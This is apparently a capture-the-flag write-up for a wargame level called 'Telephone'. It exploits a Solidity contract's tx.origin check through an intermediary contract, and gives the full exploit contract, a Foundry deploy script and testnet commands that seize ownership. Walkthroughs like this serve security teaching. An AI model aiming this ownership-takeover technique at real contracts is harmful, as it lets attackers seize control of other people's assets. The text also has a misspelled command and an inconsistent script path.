Claim ownership of the contract below to complete this level.

This is the contract’s code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

In order to change the owner of the contract, we need to call the changeOwner function, in a way that tx.origin != msg.sender. In this Ethereum Stackexchange question, its difference is discussed. It is simple, though: the EVM allows contracts to call functions on another contracts. Then, we could have a chain of calls like this:

alt text

We just need to call the function from a contract that we control. This exploit contract will be enough:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    function changeOwner(address _owner) public {}
}

contract Exploit {
    function exploit() public {
        Telephone telephone = Telephone(address(0xB1bA764cFf27791eDA1b38076704901A973171B5));
        telephone.changeOwner(address(0x12c5Da011f95E229Ba45f732e8f79608444D76b9));
    }
}

Now, we will deploy this contract and call the exploit function, which makes the call to changeOwner with my EOA address.

Let’s deploy the contract using foundry. Execute this command to create a sample project:

froundry init exploit

Now, write the exploit contract inside the src/ folder, in a file called Exploit.sol. Then, create a script to deploy the contract in the file scripts/Exploit.s.sol, with this content:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "../src/Exploit.sol";

contract ExploitScript is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployerPrivateKey);
        Exploit exploit = new Exploit();
        vm.stopBroadcast();
    }
}

Now, execute these commands to compile the project and deploy the malicious contract:

forge build
forge script script/Exploit.s.sol --rpc-url $SEPOLIA_RPC_URL --broadcast --verify -vvvv

If everything was successful, we will get the address on which the contract was deployed:

alt text

Now, we just need to call the exploit() function:

cast send 0x0416b9363D030Ce772B744088993fe0285102403 "exploit()" --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY

alt text